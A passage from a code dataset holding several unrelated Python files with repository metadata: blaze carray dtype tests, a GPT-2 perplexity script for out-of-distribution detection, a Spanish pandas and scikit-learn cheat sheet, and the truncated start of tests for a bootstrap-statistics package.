equal\")\n\n    def test02(self):\n        \"\"\"Testing compound types (iter)\"\"\"\n        a = np.ones((3,), dtype=self.dtype)\n        b = ca.ones((1000,3), dtype=self.dtype)\n        #print \"b->\", `b`\n        for r in b.iter():\n            #print \"r-->\", r\n            assert_array_equal(a, r, \"Arrays are not equal\")\n\n\nclass plainCompoundTest(compoundTest, unittest.TestCase):\n    dtype = np.dtype(\"i4,i8\")\n\nclass nestedCompoundTest(compoundTest, unittest.TestCase):\n    dtype = np.dtype([('f1', [('f1', 'i2'), ('f2', 'i4')])])\n\n\nclass stringTest(unittest.TestCase):\n\n    def test00(self):\n        \"\"\"Testing string types (creation)\"\"\"\n        a = np.array([[\"ale\", \"ene\"], [\"aco\", \"ieie\"]], dtype=\"S4\")\n        b = ca.carray(a)\n        #print \"b.dtype-->\", b.dtype\n        #print \"b->\", `b`\n        self.assert_(a.dtype == b.dtype.base)\n        assert_array_equal(a, b[:], \"Arrays are not equal\")\n\n    def test01(self):\n        \"\"\"Testing string types (append)\"\"\"\n        a = np.ones((300,4), dtype=\"S4\")\n        b = ca.carray([], dtype=\"S4\").reshape((0,4))\n        b.append(a)\n        #print \"b.dtype-->\", b.dtype\n        #print \"b->\", `b`\n        self.assert_(a.dtype == b.dtype.base)\n        assert_array_equal(a, b[:], \"Arrays are not equal\")\n\n    def test02(self):\n        \"\"\"Testing string types (iter)\"\"\"\n        a = np.ones((3,), dtype=\"S40\")\n        b = ca.ones((1000,3), dtype=\"S40\")\n        #print \"b->\", `b`\n        for r in b.iter():\n            #print \"r-->\", r\n            assert_array_equal(a, r, \"Arrays are not equal\")\n\n\nclass unicodeTest(unittest.TestCase):\n\n    def test00(self):\n        \"\"\"Testing unicode types (creation)\"\"\"\n        a = np.array([[u\"a\u0140le\", u\"e\u00f1e\"], [u\"a\u00e7\u00f2\", u\"\u00e1\u00e8\u00e2\u00eb\"]], dtype=\"U4\")\n        b = ca.carray(a)\n        #print \"b.dtype-->\", b.dtype\n        #print \"b->\", `b`\n        self.assert_(a.dtype == b.dtype.base)\n        assert_array_equal(a, b[:], \"Arrays are not equal\")\n\n    def test01(self):\n        \"\"\"Testing unicode types (append)\"\"\"\n        a = np.ones((300,4), dtype=\"U4\")\n        b = ca.carray([], dtype=\"U4\").reshape((0,4))\n        b.append(a)\n        #print \"b.dtype-->\", b.dtype\n        #print \"b->\", `b`\n        self.assert_(a.dtype == b.dtype.base)\n        assert_array_equal(a, b[:], \"Arrays are not equal\")\n\n    def test02(self):\n        \"\"\"Testing unicode types (iter)\"\"\"\n        a = np.ones((3,), dtype=\"U40\")\n        b = ca.ones((1000,3), dtype=\"U40\")\n        #print \"b->\", `b`\n        for r in b.iter():\n            #print \"r-->\", r\n            assert_array_equal(a, r, \"Arrays are not equal\")\n\n\nclass computeMethodsTest(unittest.TestCase):\n\n    def test00(self):\n        \"\"\"Testing sum().\"\"\"\n        a = np.arange(1e5).reshape(10, 1e4)\n        sa = a.sum()\n        ac = ca.carray(a)\n        sac = ac.sum()\n        #print \"numpy sum-->\", sa\n        #print \"carray sum-->\", sac\n        self.assert_(sa.dtype == sac.dtype, \"sum() is not working correctly.\")\n        self.assert_(sa == sac, \"sum() is not working correctly.\")\n\n\nclass carrayConstructorDimensionTest(MayBeDiskTest, unittest.TestCase):\n    \"\"\"\n    This test is related to issue #14 in blaze github repo.\n    Check that when using a carray constructor the dimensionality of the array\n    is not lost. Neither in the implicit dtype or explicit dtype cases.\n    \"\"\"\n    open = False\n\n    def testImplicitDtype(self):\n        \"\"\"Testing carray construction keeping dimensions (implicit dtype)\"\"\"\n        a = np.eye(6) # 2d\n        b = ca.carray(a, rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n\n        # array equality implies having the same shape \n        assert_array_equal(a, b, \"Arrays are not equal\")\n\n    def testExplicitDtype(self):\n        \"\"\"Testing carray construction keeping dimensions (explicit dtype)\"\"\"\n        dtype = np.dtype(np.float64)\n        a = np.eye(6, dtype=dtype)\n        b = ca.carray(a, dtype=dtype, rootdir=self.rootdir)\n        if self.open:\n            b = ca.open(rootdir=self.rootdir)\n\n        # array equality implies having the same shape \n        assert_array_equal(a, b, \"Arrays are not equal\")\n\nclass carrayConstructorDimensionDiskTest(carrayConstructorDimensionTest,\n                                         unittest.TestCase):\n    disk = True\n    open = False\n\nclass carrayConstructorDimensionOpenTest(carrayConstructorDimensionTest,\n                                         unittest.TestCase):\n    disk = True\n    open = True\n\n\n\n## Local Variables:\n## mode: python\n## py-indent-offset: 4\n## tab-width: 4\n## fill-column: 72\n## End:\n", "meta": {"hexsha": "b65a189291e107da825a5220542b6e841fdf299e", "size": 26626, "ext": "py", "lang": "Python", "max_stars_repo_path": "blaze/carray/tests/test_ndcarray.py", "max_stars_repo_name": "davidfischer/blaze-core", "max_stars_repo_head_hexsha": "19b55ed469aec742fd871b959115a3d87a89acb9", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2015-01-02T18:16:07.000Z", "max_stars_repo_stars_event_max_datetime": "2015-01-02T18:16:07.000Z", "max_issues_repo_path": "blaze/carray/tests/test_ndcarray.py", "max_issues_repo_name": "davidfischer/blaze-core", "max_issues_repo_head_hexsha": "19b55ed469aec742fd871b959115a3d87a89acb9", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "blaze/carray/tests/test_ndcarray.py", "max_forks_repo_name": "davidfischer/blaze-core", "max_forks_repo_head_hexsha": "19b55ed469aec742fd871b959115a3d87a89acb9", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.2662251656, "max_line_length": 78, "alphanum_fraction": 0.5354540675, "include": true, "reason": "import numpy,from numpy", "num_tokens": 7893, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.10818894737344457, "lm_q1q2_score": 0.05198248241338724}}
{"text": "from os.path import split\nfrom datasets import load_dataset\nfrom transformers import AutoTokenizer, AutoModelWithLMHead\nimport torch\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\nimport os\nimport pickle\nimport utils\n\nSAVE_PATH = 'output/gpt2/imdb'\nif not os.path.exists(SAVE_PATH):\n    os.makedirs(SAVE_PATH)\n\nLR = '5e-5'\nEPOCHS = 1\n\ndef compute_all(model, all_encodings, fname, n=None):\n    print(\"Finding perplexities\")\n    perplexities, lls = [], []\n    # all_encodings = all_encodings[:n]\n    pbar = tqdm(total=len(all_encodings))\n    for idx, encodings in enumerate(all_encodings):\n        try:\n            pp, ll = compute_perplexity(model, encodings, device=device)\n            perplexities.append(pp)\n            lls.append(ll)\n        except Exception as e:\n            print(\"Exception at idx\", idx)\n            print(e)\n            continue\n        finally:\n            pbar.update(1)\n    \n    pbar.close()\n\n    perplexities = np.array(perplexities)\n    np.save(f'{SAVE_PATH}/{fname}_{LR}_pps.npy', perplexities)\n    print(f\"\\nMean: {perplexities.mean()}, Std: {perplexities.std()}\")\n\n    with open(f'{SAVE_PATH}/{fname}_{LR}_lls.pkl', 'wb') as fw:\n        pickle.dump(lls, fw)\n\n    return perplexities\n\ndef compute_perplexity(model, encodings, stride=None, device='cuda'):\n    max_length = model.config.n_positions\n    lls = []\n    if stride is None:\n        stride = 1\n\n    for i in range(1, encodings.input_ids.size(1), stride):\n        begin_loc = max(i + stride - max_length, 0)\n        end_loc = i + stride\n        input_ids = encodings.input_ids[:,begin_loc:end_loc].to(device)\n        target_ids = input_ids.clone()\n        target_ids[:,:-stride] = -100\n\n        with torch.no_grad():\n            outputs = model(input_ids, labels=target_ids)\n            log_likelihood = outputs[0] * stride\n\n        lls.append(log_likelihood)\n\n    ppl = torch.exp(torch.stack(lls).sum() / i)\n    return ppl.item(), torch.stack(lls).detach().cpu().numpy()\n\ndef setup(path='lvwerra/gpt2-imdb'):\n    if torch.cuda.is_available():\n        device = 'cuda'\n    else:\n        device = 'cpu'\n    n = None\n    model = AutoModelWithLMHead.from_pretrained(path).to(device)\n    tokenizer = AutoTokenizer.from_pretrained(path)\n    return model, tokenizer, device, n\n\ndef process_dataset(dataset_name, model, tokenizer, device, n=None, key='text', configs=None, fname=None):\n    print(f\"\\n------Processing perplexity for dataset: {dataset_name}-------\")\n\n    if configs is None:\n        dataset = load_dataset(dataset_name, split='test')\n    else:\n        dataset = [load_dataset(dataset_name, config, split='test') for config in configs]\n    \n    print(\"Tokenizing data\")\n    if configs is None:\n        all_encodings = [tokenizer(text + ' <|endoftext|>', return_tensors='pt') for text in dataset[key][:n]]\n    else:\n        all_encodings = [tokenizer(text + ' <|endoftext|>', return_tensors='pt') for _dataset in dataset for text in _dataset[key][:n]]\n\n    if fname is None:\n        fname = dataset_name\n    return compute_all(model, all_encodings, fname, n)\n\ndef process_entailment(dataset_name, model, tokenizer, device, n=None, dataset_subname=None, fname=None, key1='premise', key2='hypothesis'):\n    print(f\"\\n------Processing perplexity for dataset: {dataset_name}_{dataset_subname}-------\")\n\n    if dataset_subname is None:\n        dataset = load_dataset(dataset_name, split='validation')\n    else:\n        dataset = load_dataset(dataset_name, dataset_subname, split='validation')\n    dataset_texts = []\n    for ex in dataset:\n        dataset_texts.append(ex[key1] + ' ' + ex[key2])\n\n    print(\"Tokenizing data\")\n    all_encodings = [tokenizer(text + ' <|endoftext|>', return_tensors='pt') for text in dataset_texts[:n]]\n\n    if fname is None:\n        fname = dataset_name\n    return compute_all(model, all_encodings, fname, n)\n\ndef process_counterfactual(dataset_name, model, tokenizer, device, n=None, fname=None, key='Text'):\n    print('Loading data...')\n    train_df = pd.read_table(os.path.join(os.getcwd(), 'data', dataset_name, (utils.train_split_keys[dataset_name] + '.tsv')))\n    eval_df = pd.read_table(os.path.join(os.getcwd(), 'data', dataset_name, (utils.eval_split_keys[dataset_name] + '.tsv')))\n    test_df = pd.read_table(os.path.join(os.getcwd(), 'data', dataset_name, (utils.test_split_keys[dataset_name] + '.tsv')))\n\n    num_labels = len(np.unique(pd.Categorical(train_df[utils.label_keys[dataset_name]], ordered=True)))\n    dataset = pd.concat([train_df, eval_df, test_df])\n    print(dataset)\n\n    print(\"Tokenizing data\")\n    all_encodings = [tokenizer(text + ' <|endoftext|>', return_tensors='pt') for text in dataset[key][:n]]\n\n    if fname is None:\n        fname = dataset_name\n    return compute_all(model, all_encodings, fname, n)\n\nif __name__ == '__main__':\n    print(\"Loading model...\")\n    path = f'/scratch/ua388/nlp/ckpts/gpt2-imdb-{EPOCHS}_epochs-{LR}_lr'\n    # path = f'/scratch/ua388/nlp/ckpts/gpt2-glue_sst2-{EPOCHS}_epochs-{LR}_lr'\n    print(\"Loading model...\", path)\n    model, tokenizer, device, n = setup(path)\n    # process_dataset('imdb', model, tokenizer, device, n=3000, key='text')\n    # process_dataset('yelp_polarity', model, tokenizer, device, n=3000, key='text')\n\n    process_counterfactual('counterfactual-imdb', model, tokenizer, device, n=2)\n\n    # process_dataset('sentiment140', model, tokenizer, device, n=2, key='text')\n\n    # process_dataset('glue', model, tokenizer, device, configs=['sst2'], key='sentence', fname='sst2')\n\n    # process_entailment('glue', model, tokenizer, device, dataset_subname='rte', fname='rte', key1='sentence1', key2='sentence2')\n    # process_entailment('snli', model, tokenizer, device, key1='premise', key2='hypothesis')\n\n    print(\"\\n\\n--------DONE--------\")\n", "meta": {"hexsha": "f2e4e75e053b8beaad9d8a86e3c29b858136e1fc", "size": 5759, "ext": "py", "lang": "Python", "max_stars_repo_path": "perplexity.py", "max_stars_repo_name": "ambujojha/ood-detection", "max_stars_repo_head_hexsha": "fb428914177eebb22b69e2df050b2d3e519a104a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-04-29T23:42:04.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-29T23:42:04.000Z", "max_issues_repo_path": "perplexity.py", "max_issues_repo_name": "positivevaib/ood-detection", "max_issues_repo_head_hexsha": "fb428914177eebb22b69e2df050b2d3e519a104a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "perplexity.py", "max_forks_repo_name": "positivevaib/ood-detection", "max_forks_repo_head_hexsha": "fb428914177eebb22b69e2df050b2d3e519a104a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.1390728477, "max_line_length": 140, "alphanum_fraction": 0.6662615037, "include": true, "reason": "import numpy", "num_tokens": 1485, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.341582499438317, "lm_q2_score": 0.15203224546424318, "lm_q1q2_score": 0.05193155440089592}}
{"text": "\n\"\"\"\nAutor: Blanca Alonso\n\nChuleta y ayudas para comandos en Python\n\n\"\"\"\n\n# =============================================================================\n# 0.- ESTABLECER DIRECTORIO\n# =============================================================================\n\nimport os\nos.chdir(\"path\")\n\n# \u00a1IMPORTANTE! Las barras del directorio deben ser dobles \\\\\n\n\n\n# =============================================================================\n# 1.- CARGA DE PAQUETES\n# =============================================================================\n\n# Librer\u00edas numpy: biblioteca de \u00e1lgebra lineal m\u00e1s conocida\n\nimport numpy as np\n\n\n# Librer\u00eda pandas: tratamiento de datos estructurados, semi y no estructurados\nimport pandas as pd \n\n\n\n# =============================================================================\n# 2.- LECTURA Y ESCRITURA \n# =============================================================================\n\n# CSV\ndf = pd.read_csv(\"Input.csv\", sep = \";\", decimal = \",\")  # lectura\ndf.to_csv(\"Output.csv\", sep = \";\", index = False) # escritura\n\n\n# EXCEL\ndf = pd.read_excel(\"Input.xlsx\")\ndf.to_excel(\"Output.xlsx\", index = False)\n\n\n\n# =============================================================================\n# 3.- TRATAMNIENTO BBDD\n# =============================================================================\n\n# Limpiar datos\ndf['campo'].str.replace(r\" \\(.*\\)\",\"\")\n\n# Tipos de datos de cada columna del dataframe\ndf.dtypes\n\n# Cambiar el tipo de dato\ndf['campo'].astype(str)\n\n# Nombres de tablas a mayusculas (dos formas distintas)\ndf.columns = df.columns.str.upper()\ndf.columns = map(lambda x: str(x).upper(), df.columns)\n  \n\n# Convertir todos los valores de un campo a may\u00fasculas\ndf['campo'] = df['campo'].str.upper()\n\n\n# Lista con x nombres de las columnas definido con un rango\ncolnames_df = list(df.columns[2:4])\n\n\n# Cambiar los nombres de todos los campos de la tabla segun el orden en el que est\u00e1n\ndf.columns = ['campo_nuevo1', 'campo_nuevo2', 'campo_nuevo3']\ndf = df.rename(columns = {\"campo_now1\": \"campo_new1\", \"campo_now2\": \"campo_new2\"})\n\n\n# Quitar espacios en blanco en los nombres de las columnas o en un campo\ndf.columns = df.columns.str.strip()                             # trim \ndf.columns = df.columns.str.strip().str.replace(' ', '')        # replace\ndf['campo'] = df.campo.str.strip().str.replace(' ', 'vac\u00edo') \ndf['campo'] = df.campo.str.strip().replace('...', 'vac\u00edo')\n\n# Reemplazar valores seg\u00fan sea igual o no a un valor\ndf['campo'] = np.where(df.TOTAL_PAQUETE.isin(['condicion1', 'condicion2']),\n              df['campo'] , 'Otros')\n\n\n# Select\ndf.columna  # Una columna\ndf = df[[\"columna1\", \"columna2\", \"columna3\"]]   # Varias columnas\n\n# Seleccionar x columnas seg\u00fan un filtro\ndf.loc[df['columna1' > 10], ['columna1', 'columna2']]\n\n\n# Eliminar una columna\ndf = df.drop(columns = 'Columna') \ndf = df.drop(['Columna'], axis = 1)\n \n \n# NaN\ndf.isnull()                     # Para comprobar si hay NaN\ndf.notnull()                     # Para comprobar si no hay NaN\ndf.dropna()                     # Elimina cualquier fila con NaN    \ndf.fillna(value = 0)            # Reemplaza los NaN por un valor\ndf = df[df['campo'].notna()]    # Elimina los NaN de una columna \n\nlist(df['campo'].isnull()).count(True) # Comprobar NA's en una columna\n\n# Imputation Na\nfrom sklearn.impute import SimpleImputer\nmy_imputer = SimpleImputer(strategy = 'XX') #a que se quieren imputar: median, constant (n\u00famerico), most_frequent\nimputed_X_train = pd.DataFrame(my_imputer.fit_transform(X_train))\n\n# Quitar duplicados\ndf = df.drop_duplicates()\n\n\n# Valores distintos de una columna\ndf['columna'].nunique() # devuelve un int de cu\u00e1ntos valores != hay\ndf['columna'].unique()  # devuelve un array con los != valores\n\n\n# Apendizar dos dataframes por filas\ndf1 = df1.append(df2) \ndf = pd.concat([df1, df2])\n\n\n# Apendizar dos dataframes por filas\ndf = pd.concat([df1, df2])\n\n# Calcular el m\u00e1ximo seg\u00fan un campo\ndf[df['CAMPO'] == 'FILTRO'].CAMPO_NUMERICO.max()\n\n# Recuento de la frecuencia de los valores de una columna\ndf['CAMPO'].value_counts()\n\n\n# Dividir una columna en dos por un delimitador\ndf[['CAMPO1','CAMPO2']] = df['CAMPO1'].str.split(',',expand=True)\n\n# Borrar NA\u00b4s\ndf.dropna(axis=0)\n\n# Ordenar\nDF.sort_values (by )\nDF.sort_index()\n\n\n# 3.1.- FECHAS\n# --------------------------------------------------------------------------#\n\nimport datetime as dt\n\n# Transformar un campo a fecha\ndf['FECHA'] = pd.to_datetime(df['FECHA'])\n\n# Extraer el a\u00f1o, mes, d\u00eda\ndf['ANIO'] = df['FECHA'].dt.year\n\n\n\n# =============================================================================\n# 4.-  OPERACIONES CON LAS BBDD\n# =============================================================================\n\n# Resumen de los datos con la media, desviaci\u00f3n tipica, cuartiles\nDF.describe()\n\n# Primeras filas\nDF.head()\n\n# Aparecen las columnas\nDF.columns\n\n# Cuenta las veces que aparece un elemento en una lista\nlista.count(valor)\n\n# En un dataframe\nlist(df['CAMPO']).count('valor')\n\n\n# Crear columnas condicionales\nobs_pres_med = [x for x in obs if \"Prescripci\u00f3n M\u00e9dica\" in x]\n\ndf['Prescr_Medica'] = df.Observaciones.apply(lambda x: 'SI' if x in obs_pres_med else 'NO')\n\n\n\n# Transformar un dataframe a diccionario\ndf_dict = df.set_index('key').T.to_dict('list')\n\n\n\n# =============================================================================\n# 5.- CRUCES\n# =============================================================================\n\n# \u00a1OJO! Asegurarse que df2 no tenga duplicados en la clave\n\n# Inner Join: valores coincidentes\ndf1.merge(df2, how = \"inner\", on = \"CLAVE\")\n\n# Left y right join\ndf1.merge(df2, how = \"left\", on = \"CLAVE\")\ndf1.merge(df2, how = \"right\", on = \"CLAVE\")\n\n# Full join: unimos las dos tablas crucen o no\ndf1.merge(df2, how = \"outer\", on = \"CLAVE\")\n\n# Si los campos no tienen el mismo nombre\ndf1.merge(df2, how = \"left\", left_on = \"CLAVE_df_uno\", right_on = \"CLAVE_df2\")\n\n\n# Si queremos seleccionar s\u00f3lo algunos campos del dataframe 2\ndf1.merge(df2[[\"campos\"]], how = \"left\", left_on = \"CLAVE_df_uno\",\n          right_on = \"CLAVE_df2\")\n\n# Cruzar por varios campos \ndf1.merge(df2, how = \"left\", on = [\"CAMPO1\", \"CAMPO2\"])\n\n\n\n# =============================================================================\n# 6.- BUCLES FOR & IF\n# =============================================================================\n\n# Para obtener los diferentes valores de error si se cambian parametros en cada modelo\n\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.tree import DecisionTreeRegressor\n\ndef get_mae(max_leaf_nodes, train_X, val_X, train_y, val_y):\n    model = DecisionTreeRegressor(max_leaf_nodes=max_leaf_nodes, random_state=0)\n    model.fit(train_X, train_y)\n    preds_val = model.predict(val_X)\n    mae = mean_absolute_error(val_y, preds_val)\n    return(mae)\n    \n for max_leaf_nodes in [5, 50, 500, 5000]:\n    my_mae = get_mae(max_leaf_nodes, train_X, val_X, train_y, val_y)\n    print(\"Max leaf nodes: %d  \\t\\t Mean Absolute Error:  %d\" %(max_leaf_nodes, my_mae))\n\n\n\n# =============================================================================\n# 7.- TOTALIZACIONES\n# =============================================================================\n\n# Totalizar\ndf = df.groupby(\"CAMPO\").sum()                  # Por una variable\ndf = df.groupby([\"CAMPO1\", \"CAMPO2\"]).sum()     # Por varias variables\n\n# Totalizar realizando distintas operaciones segun el campo\ndf = df.groupby(\"CAMPO\").agg({'CAMPO_num1': sum, 'CAMPO_num2' : max}) \n\n# Totalizar definiendo un campo nuevo en base a otro\ndf = df.set_index('CAMPO').groupby(level = 0)['CAMPO_num1'].agg({'CAMPO_new' : np.sum})\n\n\n\n# =============================================================================\n# 8.- FUNCIONES LAMBDA\n# =============================================================================\n\n\n\n\n\n\n\n\n\n# =============================================================================\n# 9.- MACHINE LEARNING\n# =============================================================================\n\n# Definir una semilla\nimport random\nrandom.seed(1234)\n\n# Dividimos en train y test\nfrom sklearn.model_selection import train_test_split\n\ndatos_spliteados = train_test_split(df,\n                                    train_size = 0.8,     # 80% training\n                                    test_size = 0.2       # 20% testing\n                                   )\n\ndf_training_set = datos_spliteados[0]\ndf_test_set = datos_spliteados[1]\n\n\n# 9.1.- Regresi\u00f3n Log\u00edstico ----------------------------------------------\n# --------------------------------------------------------------------------#\n\nfrom sklearn.linear_model import LogisticRegression\n\n# Creamos una instancia del modelo, con todos los hiperpar\u00e1metros y argumentos \n# por defecto:\n\nlr = LogisticRegression()\n\n# Ahora vamos a entrenarla con el conjunto de training:\nlr.fit(X = dataset_clasificacion_training[[\"hormona_a\", \"hormona_b\"]], # features\n       y = dataset_clasificacion_training[\"label\"])                    # labels\n       \n       \n\n# 9.2.- Arboles----------------------------------------------\n# --------------------------------------------------------------------------#\nfrom sklearn.tree import DecisionTreeRegressor\n\n# Define model. Specify a number for random_state to ensure same results each run\nTR_model = DecisionTreeRegressor(random_state=1) # = 1 para que siempre se cree el mismo modelo\n\n# Ahora vamos a entrenarla con el conjunto de training:\nDF.fit(X_train, y_train)\n\n# 9.3.- Random Forest----------------------------------------------\n# --------------------------------------------------------------------------#\nfrom sklearn.ensemble import RandomForestRegressor\n\n# Define model. Specify a number for random_state to ensure same results each run\nforest_model = RandomForestRegressor(random_state=1) # = 1 para que siempre se cree el mismo modelo\n\n# Ahora vamos a entrenarla con el conjunto de training:\nDF.fit(X_train, y_train)\n\n\n# 9.4.- XGBoost---------------------------------------------\n# --------------------------------------------------------------------------#\nfrom xgboost import XGBRegressor\n\nmy_model = XGBRegressor(n_estimators=1000, learning_rate=0.05)\nmy_model.fit(X_train, y_train,  early_stopping_rounds=5, \n             eval_set=[(X_valid, y_valid)], \n             verbose=False)\n             \n# 9.5.- Cross Validation---------------------------------------------\n# --------------------------------------------------------------------------#\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.impute import SimpleImputer\n\nmy_pipeline = Pipeline(steps=[('preprocessor', SimpleImputer()), # imputar los missings a lo que se decida\n                              ('model', RandomForestRegressor(n_estimators=50,\n                                                              random_state=0))\n                             ])\n                             \n\nfrom sklearn.model_selection import cross_val_score\n\n# Multiply by -1 since sklearn calculates *negative* MAE\nscores = -1 * cross_val_score(my_pipeline, X, y,\n                              cv=5,\n                              scoring='neg_mean_absolute_error')\n\nprint(\"MAE scores:\\n\", scores) \n\n# 9.6.- Predicci\u00f3n y error----------------------------------------------\n# --------------------------------------------------------------------------#\nfrom sklearn.metrics import mean_absolute_error\n\nprediccion = Df.predict(X)\nmean_absolute_error(y, prediccion)\n\n# 9.7.- Output---------------------------------------------\n# --------------------------------------------------------------------------#\noutput = pd.DataFrame({'Id': X_test.index,\n                       'Target': preds_test})\noutput.to_csv('nombre_archivo.csv', index=False)\n\n\n\n\n# =============================================================================\n# 10.- OTRAS COSAS\n# =============================================================================\n\nfrom  pandas.io.json  import  json_normalize\n\n# Normalizar los datos \ndf  =  json_normalize(creds)\n\n\n\n\n\n\n\n\n\n", "meta": {"hexsha": "b0a856ac8690ecdffdf20a0474d5f1650862a1c9", "size": 12001, "ext": "py", "lang": "Python", "max_stars_repo_path": "Documentacion/MaterialPython/Chuleta.py", "max_stars_repo_name": "luciatomainodelacr/TFM", "max_stars_repo_head_hexsha": "dd989ba18e22d71f6c9c03e16b71110c7c23a9a8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-05-26T15:45:06.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-26T15:45:06.000Z", "max_issues_repo_path": "Documentacion/MaterialPython/Chuleta.py", "max_issues_repo_name": "luciatomainodelacr/TFM", "max_issues_repo_head_hexsha": "dd989ba18e22d71f6c9c03e16b71110c7c23a9a8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Documentacion/MaterialPython/Chuleta.py", "max_forks_repo_name": "luciatomainodelacr/TFM", "max_forks_repo_head_hexsha": "dd989ba18e22d71f6c9c03e16b71110c7c23a9a8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 5, "max_forks_repo_forks_event_min_datetime": "2021-03-07T19:20:26.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-11T18:26:12.000Z", "avg_line_length": 30.2292191436, "max_line_length": 113, "alphanum_fraction": 0.5244562953, "include": true, "reason": "import numpy", "num_tokens": 2696, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.1175721304535499, "lm_q1q2_score": 0.051928436239812845}}
{"text": "from logging import WARNING\nfrom warnings import WarningMessage, warn_explicit\nimport warnings\nimport numpy as np\nfrom pytest import raises\nimport pytest\nfrom strapvizpy.bootstrap import bootstrap_distribution, calculate_boot_stats\n\n\ndef test_bootstrap_distribution():\n    \"\"\"\n    Tests the functionality of `bootstrap_distribution()`, which includes\n    checking the type of object returned, its shape and its values.\n\n    5 tests in total.\n    \"\"\"\n\n    dist = bootstrap_distribution([1, 2, 3], 3, 3, random_seed=1)\n    \n    # checks the return type\n    assert isinstance(dist, np.ndarray)\n\n    # checks the shape of returned object\n    assert dist.shape == (3,)\n\n    # checks the values of returned object\n    assert np.array_equal(dist.tolist(),\n                          [1.3333333333333333,\n                           1.6666666666666667,\n                           1.3333333333333333])\n\n    dist_2 = bootstrap_distribution([1, 2, 3],\n                                  3,\n                                  estimator=\"var\",\n                                  random_seed=1)\n\n    # checks with different estimator\n    assert np.array_equal(dist_2.tolist(),\n                          [0.2222222222222222,\n                           0.2222222222222222,\n                           0.2222222222222222])\n\n    dist_3 = bootstrap_distribution([1, 2, 3],\n                                  3,\n                                  estimator=\"var\",\n                                  random_seed=1)\n\n    # checks if random_seed works\n    assert np.array_equal(dist_2, dist_3)\n\n\ndef test_bootstrap_distribution_errors():\n    \"\"\"\n    Tests error cases and messages thrown by `bootstrap_distribution()`.\n\n    10 tests in total.\n    \"\"\"\n\n    # tests with invalid input type of sample\n    with raises(TypeError) as e:\n        bootstrap_distribution({1, 2, 3}, 3, 3)\n    assert str(e.value) == (\n        \"sample should be one of the types\"\n        \"[list, numpy.ndarray, pandas.core.series.Series]\"\n    )\n\n    # tests with invalid input type of rep\n    with raises(TypeError) as e:\n        bootstrap_distribution([1, 2, 3], 3.3, 3)\n    assert str(e.value) == \"rep should be of type 'int'\"\n\n    # tests with invalid input value of rep\n    with raises(ValueError) as e:\n        bootstrap_distribution([1, 2, 3], -1, 3)\n    assert str(e.value) == \"Invalid value for rep\"\n\n    # tests with invalid input type of n\n    with raises(TypeError) as e:\n        bootstrap_distribution([1, 2, 3], 3, 3.3)\n    assert str(e.value) == \"n should be of type 'str' or 'int'\"\n\n    # tests with invalid input value of n\n    with raises(ValueError) as e:\n        bootstrap_distribution([1, 2, 3], 3, \"catch me\")\n    assert str(e.value) == \"Invalid value for n. Did you intend n='auto'?\"\n\n    # tests with invalid input value of n\n    with raises(ValueError) as e:\n        bootstrap_distribution([1, 2, 3], 3, -3)\n    assert str(e.value) == \"Invalid value for n\"\n\n    # tests with invalid input type of estimator\n    with raises(TypeError) as e:\n        bootstrap_distribution([1, 2, 3], 3, 3, estimator=9)\n    assert str(e.value) == \"estimator should be of type 'str'\"\n\n    # tests with invalid input value of estimator\n    with raises(ValueError) as e:\n        bootstrap_distribution([1, 2, 3], 3, 3, estimator=\"outlier\")\n    assert str(e.value) == \"Supported estimators are mean, median, var, sd\"\n\n    # tests with invalid input type of random_seed\n    with raises(TypeError) as e:\n        bootstrap_distribution([1, 2, 3], 3, 3, random_seed=\"I'm not a seed\")\n    assert str(e.value) == \"random_seed should be None or of type 'int'\"\n\n    # tests with invalid input value of random_seed\n    with raises(ValueError) as e:\n        bootstrap_distribution([1, 2, 3], 3, 3, random_seed=-3)\n    assert str(e.value) == \"Invalid value for random_seed\"\n\n\ndef test_calculate_boot_stats():\n    \"\"\"\n    Tests functionality of calculate_boot_stats()\n\n    16 tests in total.\n    \"\"\"\n    # test integration with bootstrap dist function\n    test_dist = bootstrap_distribution(sample=[1, 2, 3],\n                                       rep=100)\n\n    assert isinstance(test_dist, np.ndarray)\n\n    # set up test dicts\n    test_dict = calculate_boot_stats(\n        [1, 2, 3, 4],\n        1000,\n        random_seed=123)\n\n\n    test_dict_2 = calculate_boot_stats(\n        [1000, 2000, 3000, 4000],\n        n=4,\n        rep=1000,\n        level=0.9,\n        random_seed=1234,\n        estimator='var')\n\n    test_dict_3, test_sample_dist = calculate_boot_stats(\n        [1000, 2000, 3000, 4000],\n        n=5,\n        rep=1000,\n        level=0.9,\n        random_seed=1234,\n        estimator='var',\n        pass_dist=True)\n\n    # checks the return type\n    assert isinstance(test_dict, dict)\n\n    assert isinstance(test_sample_dist, np.ndarray)\n    \n   